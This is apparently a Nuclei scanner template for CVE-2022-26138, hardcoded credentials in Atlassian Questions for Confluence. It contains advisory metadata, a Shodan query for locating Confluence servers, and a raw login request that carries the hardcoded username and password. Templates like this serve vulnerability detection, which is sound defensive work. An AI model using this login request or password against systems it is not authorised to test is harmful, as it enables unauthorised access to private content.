id: CVE-2022-26138 info: name: Atlassian Questions For Confluence - Hardcoded Credentials author: HTTPVoid severity: critical description: | Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group. reference: - https://twitter.com/fluepke/status/1549892089181257729 - https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html - https://nvd.nist.gov/vuln/detail/CVE-2022-26138 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-26138 cwe-id: CWE-798 metadata: shodan-query: http.component:"Atlassian Confluence" tags: cve,cve2022,confluence,atlassian,default-login,kev requests: - raw: - | POST /dologin.action HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded os_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action attack: pitchfork payloads: os_username: - disabledsystemuser os_password: - disabled1system1user6708 matchers: - type: dsl dsl: - 'location == "/httpvoid.action"' # Enhanced by md on 2023/01/06